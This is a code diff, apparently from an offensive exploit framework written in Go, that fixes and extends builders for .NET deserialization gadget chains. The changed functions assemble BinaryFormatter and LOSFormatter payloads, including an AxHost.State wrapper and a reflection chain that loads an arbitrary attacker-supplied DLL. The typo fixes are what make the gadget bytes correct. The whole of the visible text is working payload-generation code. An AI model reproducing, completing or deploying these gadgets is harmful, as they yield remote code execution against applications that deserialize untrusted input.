@@ -109,17 +109,17 @@ func IsValidXML(data []byte) bool {
109
109
return xml .Unmarshal (data , new (interface {})) == nil
110
110
}
111
111
112
- func CreateAxHostStateDLL (program string , args string ) (string , bool ) {
112
+ func CreateAxHostStateDLL (DLLBytes [] byte , formatter string ) (string , bool ) {
113
113
binaryLibrary := BinaryLibraryRecord {ID : 2 , Library : "System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
114
114
className := "System.Windows.Forms.AxHost+State"
115
115
memberNames := []string {"PropertyBagBinary" }
116
- additionalInfo := []interface {}{PrimitiveTypeEnum ["PrimitiveArray " ]}
116
+ additionalInfo := []interface {}{PrimitiveTypeEnum ["Byte " ]}
117
117
memberValues := []interface {}{MemberReferenceRecord {IDRef : 3 }}
118
118
memberTypes := []string {
119
- "Object " ,
119
+ "PrimitiveArray " ,
120
120
}
121
121
122
- innerNewGadget , ok := CreateDLLReflection ([] byte ( "nonsense-placeholder" ) )
122
+ innerNewGadget , ok := CreateDLLReflection (DLLBytes , BinaryFormatter )
123
123
if ! ok {
124
124
return "" , false
125
125
}
@@ -153,10 +153,19 @@ func CreateAxHostStateDLL(program string, args string) (string, bool) {
153
153
}
154
154
155
155
payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + arraySinglePrimitiveRecordString + string (byte (RecordTypeEnumMap ["MessageEnd" ]))
156
- return payload , true
156
+
157
+ switch formatter {
158
+ case LOSFormatter :
159
+ return FormatLOS (payload ), true
160
+ case BinaryFormatter :
161
+ return payload , true
162
+ default :
163
+ output .PrintFrameworkError ("Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'" )
164
+ return "" , false
165
+ }
157
166
}
158
167
159
- func CreateDLLReflection (DLLBytes []byte ) (string , bool ) {
168
+ func CreateDLLReflection (DLLBytes []byte , formatter string ) (string , bool ) {
160
169
// This one is so large that it makes more sense to just build the "final" gadget as we go, so that's what is going to happen with this one.
161
170
var finalGadget string
162
171
var records []Record
@@ -306,7 +315,7 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
306
315
PrimitiveTypeEnum ["Single" ],
307
316
PrimitiveTypeEnum ["Int32" ],
308
317
"System.Collections.IComparer" ,
309
- "$ System.Collections.IHashCodeProvider" ,
318
+ "System.Collections.IHashCodeProvider" ,
310
319
PrimitiveTypeEnum ["Int32" ],
311
320
})
312
321
if ! ok {
@@ -315,7 +324,7 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
315
324
systemClassWithMembersAndTypesID12 := SystemClassWithMembersAndTypesRecord {
316
325
ClassInfo : ClassInfo {
317
326
ObjectID : 12 ,
318
- Name : "System.Collection .Hashtable" ,
327
+ Name : "System.Collections .Hashtable" ,
319
328
MemberCount : len (ID12MemberNames ),
320
329
MemberNames : ID12MemberNames ,
321
330
},
@@ -358,7 +367,7 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
358
367
},
359
368
MemberTypeInfo : ID15MemberTypeInfo ,
360
369
MemberValues : []interface {}{
361
- BinaryObjectRecord {ObjectID : 33 , Value : "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" },
370
+ BinaryObjectRecord {ObjectID : 33 , Value : "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" },
362
371
PrimitiveInt32 (4 ),
363
372
BinaryObjectRecord {ObjectID : 34 , Value : "System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" },
364
373
},
@@ -543,9 +552,9 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
543
552
MemberReferenceRecord {IDRef : 8 },
544
553
MemberPrimitiveTypedRecord {PrimitiveTypeEnum : PrimitiveTypeEnum ["Int32" ], Value : PrimitiveInt32 (0 )},
545
554
MemberPrimitiveTypedRecord {PrimitiveTypeEnum : PrimitiveTypeEnum ["Int32" ], Value : PrimitiveInt32 (10 )},
546
- MemberPrimitiveTypedRecord {PrimitiveTypeEnum : PrimitiveTypeEnum ["Bool " ], Value : PrimitiveByte (0 )}, // PrimitiveByte "renders" the same. This should get cleaned up later
547
- MemberPrimitiveTypedRecord {PrimitiveTypeEnum : PrimitiveTypeEnum ["Bool " ], Value : PrimitiveByte (0 )},
548
- MemberPrimitiveTypedRecord {PrimitiveTypeEnum : PrimitiveTypeEnum ["Bool " ], Value : PrimitiveByte (0 )},
555
+ MemberPrimitiveTypedRecord {PrimitiveTypeEnum : PrimitiveTypeEnum ["Boolean " ], Value : PrimitiveByte (0 )}, // PrimitiveByte "renders" the same. This should get cleaned up later
556
+ MemberPrimitiveTypedRecord {PrimitiveTypeEnum : PrimitiveTypeEnum ["Boolean " ], Value : PrimitiveByte (0 )},
557
+ MemberPrimitiveTypedRecord {PrimitiveTypeEnum : PrimitiveTypeEnum ["Boolean " ], Value : PrimitiveByte (0 )},
549
558
MemberPrimitiveTypedRecord {PrimitiveTypeEnum : PrimitiveTypeEnum ["Int32" ], Value : PrimitiveInt32 (0 )},
550
559
},
551
560
}
@@ -563,7 +572,7 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
563
572
4 ,
564
573
BinaryObjectRecord {
565
574
ObjectID : 58 ,
566
- Value : "ISystem , Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ,
575
+ Value : "System , Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ,
567
576
},
568
577
},
569
578
}
@@ -1002,7 +1011,7 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
1002
1011
MemberTypeInfo : ID130MemberTypeInfo ,
1003
1012
MemberValues : []interface {}{
1004
1013
PrimitiveInt32 (1959924499 ), // expected hex ref just in case I screwed this up: 13 13 d2 74
1005
- PrimitiveInt16 (15086 ), // expected hex ref ee 2a
1014
+ PrimitiveInt16 (10990 ), // expected hex ref ee 2a
1006
1015
PrimitiveInt16 (4561 ), // expected hex ref d1 11
1007
1016
PrimitiveByte (0x8b ),
1008
1017
PrimitiveByte (0xfb ),
@@ -1026,7 +1035,15 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
1026
1035
}
1027
1036
finalGadget += string (byte (RecordTypeEnumMap ["MessageEnd" ]))
1028
1037
1029
- return finalGadget , true
1038
+ switch formatter {
1039
+ case LOSFormatter :
1040
+ return FormatLOS (finalGadget ), true
1041
+ case BinaryFormatter :
1042
+ return finalGadget , true
1043
+ default :
1044
+ output .PrintFrameworkError ("Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'" )
1045
+ return "" , false
1046
+ }
1030
1047
}
1031
1048
1032
1049
func CreateDataSetXMLDiffGram (program string , args string ) (string , bool ) {
0 commit comments